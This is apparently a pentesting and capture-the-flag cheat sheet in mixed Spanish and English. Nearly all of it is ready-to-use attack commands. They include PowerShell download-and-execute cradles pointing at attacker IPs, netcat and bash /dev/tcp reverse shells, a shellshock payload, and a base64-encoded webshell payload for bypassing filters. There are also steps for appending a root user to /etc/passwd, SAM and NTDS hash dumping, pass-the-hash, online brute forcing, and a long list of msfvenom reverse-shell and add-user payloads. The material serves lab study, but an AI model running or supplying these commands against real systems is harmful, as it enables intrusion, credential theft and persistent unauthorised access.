powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile "IEX(New-Object System.Net.WebClient).downloadFile('<http://10.10.14.5/JuicyPotato.exe','C:\\users\\merlin\\documents\\potato.exe>')"

| desde url en el browser:

echo IEX(New-Object System.Net.WebClient).downloadFile('<http://10.10.10.3:8000/loli.txt','C:\\Users\\pelado\\Desktop\\loli.txt>') | powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile

| Download testfile and executes it in the memory

powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).downloadString('<http://10.10.14.6/Invoke-PowerShellTcp.ps1>')"

|powershell full path:

C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Windows\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe

| powershell wget

powershell wget "<http://10.10.10.10/nc.exe>" -outfile "nc.exe" nc.exe -e cmd.exe 10.10.10.10 4444

wget.psl

| kali

echo $storageDir = $pwd > wget.psl echo $webclient = New-Object System.Net.WebClient >>wget.psl echo $url = "<http://10.10.14.23:8000/PowerUp.ps1> >> wget.psl echo $file = "new-exploit.exe" >>wget.psl echo $webclient.DownloadFile($url,$file) >>wget.psl

| target:

C:\\programs> copy y pasteo lo de arriba\\\\ C:\\programs> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.psl \\\\ C:\\programs> dir new-exploit.exe\\\\ cool\\\\

7 certutils


| windows

certutil.exe -urlcache -split -f "<http://ip-addr>:port/file" [output-file]

passwords attacks

1 Preparing for brute force


Identify hash

hash-identifier

crunch

| crear passwords de 6 digitos con valores hasta f (112MB)

root@kali: crunch 6 6 0123456789ABCDEF -o list.txt

| crear algo mas comun CON CHARACTER SETS (34 MB)

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha -o mixedalpha.txt

cewl

| podemos usar palabras y frases de la pagina web de la empresa para generar una lista.

`root@kali: cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt`

| create custom dic

  • usamos john para modificar las palabras que bajamos.

    root@kali: vim /etc/john/john.conf root@kali: john --wordlist=megacorp-cewl.txt --rules --stdout>mutated.txt

2 WINDOWS DUMP


SAM

The Security Account Manager (SAM) is a database file[1] in Windows XP, Windows Vista, Windows 7, 8.1 and 10 that stores users’ passwords.

location:

/windows/system32/config/SAM

The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash

LM NTLM NET-NTLMv2 hashes

NTLM:

NTLM hashes are stored in the Security Account Manager (SAM) database and in the Domain Controller’s NTDS.dit database.

  • from 1

    aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 lmhas : ntlmhash

  • form 2

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:214e90b41e2752d80acd34e13f3e9831::: username :userid: lmhash : ntlmhash :::

    The LM hash is the one before the semicolon (:) and the NT hash is the one after the semicolon. Starting with Windows Vista and Windows Server 2008, by default, only the NT hash is stored.

*** Net-NTLMv1/v2****

Net-NTLM hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user’s NT hash). Here is an example of a Net-NTLMv2 (a.k.a NTLMv2) hash:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

volatility

Retrieve a user’s password from a memory dump you need to know the OS

| 1. check profile type of the memory dump (ex: Win7SP1x86):

volatility imageinfo -f memorydumpfilename.raw

| 2. get the hive list so we can get the starting location in memory of where the registry information resides:

volatility hivelist -f memdumpfilename.raw --profile=Win7SP1x86 0x9aad6148 0x131af148 \\SystemRoot\\System32\\Config\\SAM 0x8b21c008 0x039ef008 \\REGISTRY\\MACHINE\\SYSTEM

0x9aad6148, 0x8b21c008

| 3. dump the hashes

volatility -f memorydumpfilename.dmp --profile=Win7SP1x86 hashdump -y 0x8b21c008 -s 0x9aad6148 > hashes.txt Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::

| 4. pass the hash

with pth-winexe:

root@kali: pth-winexe -U administrator%hash //192.168.31.233 cmd

with psexec.py:

psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 htb/[email protected] cmd.exe

pwdump and fgdump

  • PWdump.exe can be used to crack local SAM hashes in memory. Does not have the added bonus like FGdump of disabling antivirus. This will need to be done prior to running the program

    pwdump.exe (host)

  • fgdump.exe can be used to crack local SAM hashes in memory. The program uses the IPC$ share to connect and additionally attempts to disable antivirus that may be running on the host

    fgdump.exe, then "type 127.0.0.1.pwdump"

    pwdump sam drump hashes

    root@kali:/mnt/vhd/Windows/System32/config: pwdump SYSTEM SAM Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

WCE windows credential editor

wce32.exe (wce64.exe) can be used to attempt cracking of user passwords in memory, windows xp, vista, 2003, 7 y 2008 wce can be use to pass the hash. You need local administrator privileges to run WCE and be able to steal NTLM credentials from memory. This is a post-exploitation tool.

c:\\user> wce64.exe -w c:\\user> wce32.exe -w

passing the hash

nltm hash se puede usar en lugar deun clear text

root@kali: vim hashes.txt

remplazamos el no password por otra cosa y despues exportamos ese hash

`root@kali: export SMBHASH=saras...asdas root@kali: pth-winexe -U administrator%hash //192.168.31.233 cmd psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 htb/[email protected] cmd.exe

ex: pth-winexe -U jeeves/Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //10.10.10.63 cmd`

You CAN perform Pass-The-Hash attacks with NTLM hashes. You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes. You CAN attack net-ntlmv2 with responder with LLMNR Poisonin

3 Active Directory


Misconfigured AD

net use z: \\\\(target_hostname)\\SYSVOL dir /s Groups.xml type Z:\\local.domain\\Policies\\{84583021-C460-486C-83E1- FA1EC8CA84FC}\\Machine\\Preferences\\Groups\\Groups.xml gpp-decrypt SvtusBQWJgAFrFPTyPH9clizXPQBDqDDGzlSDxKogcz, password will be outputted

AD password audit

The psexec_ntdsgrab module will be used to create Volume Shadow Copies of the ntds.dit and SYSTEM hive and grab them from the domain controller. It requires domain administrator credentials.

crea 2 archivos uno .dit y otro .bin

extract hashes

./impacket/examples/secretsdump.py -ntds /home/lab/.msf4/loot/[blah]_psexec.ntdsgrab._104930.dit -system /home/lab/.msf4/loot/[blah]_psexec.ntdsgrab._438132.bin -hashes lmhash:nthash LOCAL -outputfile ntlm_hashes

4 Online passwords attack


para tratar de conectarse a http ssh ftp, etc, hay que mandar varios request al server\

tools:medusa hydra ncrack

medusa

root@kali: medusa -h 192.168.31.219 -u admin -P password-file.txt -M http -m DIR:/admin -T 20

crowbar (rdesktop)

for example for rdesktop

crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1

hydra

  • ej:

    hydra –l (found_name) –P password.lst 192.168.168.168 ssh hydra -L username_list.txt -P password_list.txt 192.168.168.168 ssh -t 4 -l user -L list of user -p password -P list of passwords

  • HTTP post form

    hydra -L <wordlist> -P<password list> <IP> http-post-form "<file path>:username=^USER^&password=^PASS^&Login=Login:<fail message>"

ncrack

sirve mucho para romper rdp

root@kali: ncrack -v -f --user administrator -P password-file.txt rdp://192.168.31.233,CL=1

5 Offline passwords attack


John the ripper

`root@kali:~# john hashes.txt

root@kali:~# john --format=nt windowshashes.txt --wordlist=passwords.txt root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 password_list`

ssh keys bruteforce

2496 python /usr/share/john/ssh2john.py matt_rsa > matt.hash 2500 john --wordlist=rockyou.txt ~/.ssh/matt.hash

unshadow

  • ex:

    unshadow password_file shadow_file > new_password_list

oclhashcat ntlm sam hash from pwdump

  • suponiendo:

`cat hash-nolimpio.txt Administrator:500:aad3b435b51404eeaad3b435b51404ee:214e90b41e2752d80acd34e13f3e9831::: username : userid : lmhash : ntlmhash cat hashes.txt

214e90b41e2752d80acd34e13f3e9831`

  • corremos:

    root@kali:~# hashcat -m 1000 -a 0 --force hashes-bastion/hashes.txt rockyou.txt

md5 hashcat

I put this $1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ into a .txt file and the following command: hashcat -m 500 -a 0 --force davidHash '/root/Desktop/rockyou.txt'

online hash crackers

cracking ntlm hashes SAM dump

| lm

299BD128C1101FD6

john --format=lm hash.txt hashcat -m 3000 -a 3 hash.txt

| NTHash

B4B9B02E6F09A9BD760F388B67351E2B

john --format=nt hash.txt hashcat -m 1000 -a 3 hash.txt

| NTLMv1 (A.K.A. Net-NTLMv1)

u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c

john --format=netntlm hash.txt hashcat -m 5500 -a 3 hash.txt

| NTLMv2 (A.K.A. Net-NTLMv2)

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

john --format=netntlmv2 hash.txt hashcat -m 5600 -a 3 hash.txt

6 ZIP


fcrackzip

fcrackzip -v -u -D -p "rockyou.txt" /root/hackthebox/node/myplace-backup.zip

pivoting+tunneling

PORT FORWARDING “port to port”:

MSF

Most platforms

Forward: Get meterpreter session on one of the dual homed machines portfwd add -l 4445 -p 4443 -r 10.1.1.1 Use -R to make it reverse

SSH

| in kali

  • R 8081:172.24.0.2:80 (on my Kali machine listen on 8081, get it from 172.24.0.2:80)

<KALI 10.1.1.1>:8081<————<REMOTE 172.24.0.2>:80

Now you can access 172.24.0.2:80, which you didn’t have direct access to

  • L 8083:127.0.0.1:8084 (on your machine listen on 8083, send it to my Kali machine on 8084)

<KALI 127.0.0.1>:8084<————<REMOTE 10.1.1.230>:8083<————:XXXX

run nc on port 8084, and if 10.1.1.230:8083 receives a reverse shell, you will get it

| For reverse shell:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.230 LPORT=8083 -f exe -o shell

Run it on 2nd remote target to get a shell on Kali

Or if you didn’t have an SSH session, then SSH to your Kali from target machine: On Kali: service ssh start “add a user, give it /bin/false in /etc/passwd”

ssh - -R 12345:192.168.122.228:5986 [email protected]

Just like SSH, on Windows service ssh start , and transfer /usr/share/windows-binaries/plink.exe to the target machine

On Target:

plink.exe 10.1.1.1 -P 22 -C -N -L 0.0.0.0:4445:10.1.1.1:4443 -l KALIUSER -pw PASS

SOCAT

For linux

Forward your 8083 to 62.41.90.2:443

./socat TCP4-LISTEN:8083,fork TCP4:62.41.90.2:443

CHISEL

Most platforms

Remote static tunnels “port to port”:

On Kali “reverse proxy listener”:

./chisel server -p 8000 -reverse

General command:

./chisel client <YOUR IP>:<YOUR CHISEL SERVER PORT> L/R:[YOUR LOCAL IP]:<TUNNEL LISTENING PORT>:<TUNNEL TARGET>:<TUNNEL PORT>

Remote tunnels “access IP:PORT you couldn’t access before”: On Target:

./chisel client 10.1.1.1:8000 R:127.0.0.1:8001:172.19.0.3:80

Local tunnels “listen on the target for something, and send it to us”: On Target:

./chisel client 10.1.1.1:8000 9001:127.0.0.1:8003

DYNAMIC “port to any”:


setup proxychains with socks5 on 127.0.0.1:1080 Or set up socks5 proxy on firefox For nmap use -Pn -sT or use tcp scanner in msf

MSF

Most platforms

Get meterpreter session on one of the dual homed machines Auto route to 10.1.1.0 (multi/manage/autoroute) Start socks proxy (auxiliary/server/socks4a)

SSH

For Linux

  • D1080

Just like SSH, on Windows On Target:

plink.exe 10.1.1.1 -P 22 -C -N -D 1080 -l KALIUSER -pw PASS

CHISEL

Most platforms

On Kali:

./chisel server -p 8000 -reverse

On Target:

./chisel client 10.1.1.1:8000 R:8001:127.0.0.1:1080 ./chisel server -p 8001 --socks5

On Kali:

./chisel client 127.0.0.1:8001 socks

EXAMPLE


c:> mstsc (el rdesktop de windows)

supongamos que tenemos un target (lopez) que queremos conectar a un server (w2003 67.23.72.109) por mstsc, el firewall de lopez deja salir paketes solo por el puerto 80, para poder usar el puerto 3389 vamos a necesitar otra maquina que nos haga de proxy(kali 208.88.127.99)

Pasos

1 En Kali usamos rinetd

root@kali: vim /etc/rinetd.conf #bindaddress bindport connectaddress connectport 208.88.127.99 80 67.23.72.109 3389 root@kali: /etc/init.d/rinetd restart

2 desde lopez nos conectamos a nuestro proxy machine en mstsc

3 profit

rdesktop case

tengo shell en una windows box interna no routeable y le hice descargar plink

  • Nos conectamos con putty(plink) a nuestra kali(.99) y redirigimos el puerto 3389 en windows al 3390 en kali

    C:> Plink -l root -pw uberpass 208.88.127.99 -R 3390:127.0.0.1:3389

    root@kali:netsta -antl | grep LISTENING <-nos deberia mostrar el 3390 escuchando

#abrimios otra terminal y dejamos esa abierta que esta tuneleando

root@kali: rdesktop 127.0.0.1:3390 <- nos deberia mostrar el remote desktop de windows

PROXYCHAINS


root@kali:ssh -D 8080 [email protected] root@admin: ifconfig (172.16.40.10)

#primero configuramos proxychains para que use el socks 8080

root@kali: proxychains <tool> ex: root@kali: proxychains nmap -p 3389 -sT -Pn 172.16.40.18-29 --open |s-CHAINS| ..... BLABLA ... (172.168.40.20) 3389 open root@kali: proxychains rdesktop 172.168.40.20

https://hkashfi.blogspot.com.ar/2008/04/bypassing-firewalls-with-port_23.html

varios

stderr y stdout

a veces los comandos por ejemplo en shellshock salen por stderr asi que tenemos que redireccionar stdout a stderr ex:

root@kali:~# curl -H "User-Agent: () { :; }; /bin/bash -c 'echo aaaa; nc -h 2>&1; echo zzzz;'" <http://10.11.1.71/cgi-bin/admin.cgi> -s \\

unzip with python

#!/usr/bin/env python3 import sys from zipfile import PyZipFile for zip_file in sys.argv[1:]: pzf = PyZipFile(zip_file) pzf.extractall()

urlencode webshell request with curl

curl -X POST <http://10.10.10.143/pwned.php> --data-urlencode 'exec=bash -c "bash -i >& /dev/tcp/10.10.14.4/1234 0>&1"'

run bash commands from powershell (wut)

PS C:\\windows> bash -c "command"

FTP

bajar archivos con tipo binario porque los rompe sino

ftp> type binary ftp> get backup.mdb

powershell hidden files

dir -Force

data stream

dir /R hm.txt:root.txt:$DATA

powershell Get-Content -Path "hm.txt" -Stream "root.txt"

more < hm.txt:root.txt

rdp

rdesktop -g 85% -r disk:share=/var/www -r clipboard:CLIPBOARD -u username -p password 10.10.10.10

if can run as sudo but dont have shell

echo 'toor:aaKNIEDOaueR6:0:0:toor:/root:/bin/bash' >> /etc/passwd

It will create a new root user with the password “foo”. The encrypted password was generated with: perl -le ‘print crypt(“foo”, “aa”)’. You can then easily elevate to a root shell with su toor.

localgroup Administrators offsec /add

this only work for old windows in modern execute a reverse shell might be the best idea

clean carriage return from scripts

sed -i -e ‘s/\\r$//’ <script name>

steghide steganofrafia

usalo para sacar por ejemplo ssh que esten en una imagen

steghide extract -sf archivo.png

pading oracle attack

suid

si no tiene full path en sudo -l podemos hijackearlo cambiando el path

Because a full path to the cat binary is not specified, this specific command is vulnerable to hijacking by modifying the PATH system variable. This can be achieved by setting the working directory as the first option in PATH, with the command export PATH=.:$PATH After this, creating a file named cat in the working directory will cause the file to be executed by the root user. In this case, a bash script will do the trick. Note, do not use the cat command in the script as this will cause the script to loop endlessly. Don’t forget to chmod +x ./cat before running the backup binary. The script below creates a copy of the root flag in the home directory.

IPV6 ?

unix wildcards

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

windows php cookies

PHP stores the session files in C:\Windows\TEMP in the format sess_ . In order to read our session file we will use the session ID we acquired. In this case the session file would be sess_923nktm0vmmi12qrptls332t5o . Let's see if we can read it Replace everything after sess_ with your own cookie value.

curl -X GET <http://10.10.10.151/blog/>? lang=/windows/temp/sess_923nktm0vmmi12qrptls332t5o

f we can create a username containing PHP code, we could potentially gain RCE. Consider the following as a username.

<?=powershell whoami?>

bypass blacklisting chars

echo "wget <http://10.10.14.23/nc.exe> -o C:\\\\Windows\\\\TEMP\\\\nc.exe" | iconv -t UTF-16LE | base64

<?=powershell /enc dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAzAC8AbgBjAC4AZQB4AGUA IAAtAG8AIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABFAE0AUABcAG4AYwAuAGUAeABlAAoA?>

procdump

express using jwt token

  • get the token

    curl -s -X POST <http://10.10.10.137:3000/login> -d "username=admin&password=pas111223" | jq

  • use the token

    curl -s <http://10.10.10.137:3000/> -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNT U4ODU1NTYzLCJleHAiOjE1NTg5NDE5NjN9.s7ZbrqwW--H6Ae-UWs3VeO21U2XRwfNEDeL0gAYI pX0' | jq

INODES

if you own the directory but not the file, you can move it and create another one with the same name

disk permision

if you have disk permission you can use

debugfs /dev/sda1 debugfs: cat /root/.ssh/id_rsa

powershell thruogh ftp when restricted

echo !powershell.exe > ftpcommands.txt && ftp -s:ftpcommands.txt

weird dependencies location

for example : As gcc is not available on the target machine, the exploit must be compiled locally. LinEnum previously identified /home/decoder/test as world-writable and can be used to drop the binary. Attempting to run the exploit without modification will fail as the target is missing /etc/lsb-release . Simply changing references of /etc/lsb-release to /home/decoder/test/lsb-release is sufficient.

DUMP HASHES

reg save hklm\sam c:\sam reg save hklm\system c:\system python /usr/share/doc/python-impacket/examples/secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

cheatsheets

msfvenom

List payloads


msfvenom -l

Binaries Payloads


| Linux Meterpreter Reverse Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f elf > shell.elf

| Linux Bind Meterpreter Shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > bind.elf

| Linux Bind Shell

msfvenom -p generic/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > term.elf

| Windows Meterpreter Reverse TCP Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

| Windows Reverse TCP Shell

msfvenom -p windows/shell/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe

| Windows Encoded Meterpreter Windows Reverse Shell

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

| Mac Reverse Shell

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f macho > shell.macho

| Mac Bind Shell

msfvenom -p osx/x86/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f macho > bind.macho

Web Payloads


| PHP Meterpreter Reverse TCP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.php cat shell.php | pbcopy && echo ‘<?php ‘ | tr -d ‘\\n’ > shell.php && pbpaste >> shell.php

| ASP Meterpreter Reverse TCP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f asp > shell.asp

| JSP Java Meterpreter Reverse TCP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.jsp

| WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f war > shell.war

Scripting Payloads


| Python Reverse Shell

msfvenom -p cmd/unix/reverse_python LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.py

| Bash Unix Reverse Shell

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

| Perl Unix Reverse shell

msfvenom -p cmd/unix/reverse_perl LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.pl

Shellcode


| Windows Meterpreter Reverse TCP Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

| Linux Meterpreter Reverse TCP Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

| Mac Reverse TCP Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f <language>

| Create User

msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe

Metasploit Handler


use exploit/multi/handler set PAYLOAD <Payload name> Set RHOST <Remote IP> set LHOST <Local IP> set LPORT <Local Port> Run

nmap

  • Nmap stealth scan using SYN nmap -sS $ip

  • Nmap stealth scan using FIN nmap -sF $ip

  • Nmap Banner Grabbing nmap -sV -sT $ip

  • Nmap OS Fingerprinting nmap -O $ip

  • Nmap Regular Scan: nmap $ip/24

  • Enumeration Scan nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt

  • Enumeration Scan All Ports TCP / UDP and output to a txt file nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip

  • Nmap output to a file: nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24

  • Quick Scan: nmap -T4 -F $ip/24

  • Quick Scan Plus: nmap -sV -T4 -O -F --version-light $ip/24

  • Quick traceroute nmap -sn --traceroute $ip

  • All TCP and UDP Ports nmap -v -sU -sS -p- -A -T4 $ip

  • Intense Scan: nmap -T4 -A -v $ip

  • Intense Scan Plus UDP nmap -sS -sU -T4 -A -v $ip/24

  • Intense Scan ALL TCP Ports nmap -p 1-65535 -T4 -A -v $ip/24

  • Intense Scan - No Ping nmap -T4 -A -v -Pn $ip/24

  • Ping scan nmap -sn $ip/24

  • Slow Comprehensive Scan nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24

  • Scan with Active connect in order to weed out any spoofed ports designed to troll you nmap -p1-65535 -A -T5 -sT $ip

powershell

1- Download file

C:> powershell “IEX(New-Objet Net.WebClient).downloadString(‘http://10.10.14.23/PowerUp.ps1’)”

2- RUN powerup powershell.exe -C “IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.14.23:8000/PowerUp.ps1’);Invoke-AllChecks”

tmux

z* new sesion tmux new -s Nombre

  • new window ^ + C

  • list sessions tmux ls

  • attach tmux a -t Nombre

  • detach ^ + d

  • zoom panel ^ + z

  • change layout ^ + spacebar

  • copy mode in config con vi (pa copear)

  • log

bash

  • alt + . se mueve por el historial de palabras

  • ctrl + a beginig of line

  • ctrl + e end of the line

  • ctrl + mueve por linea

Leave a heart if you found this helpful

Comments

Sign in to leave a comment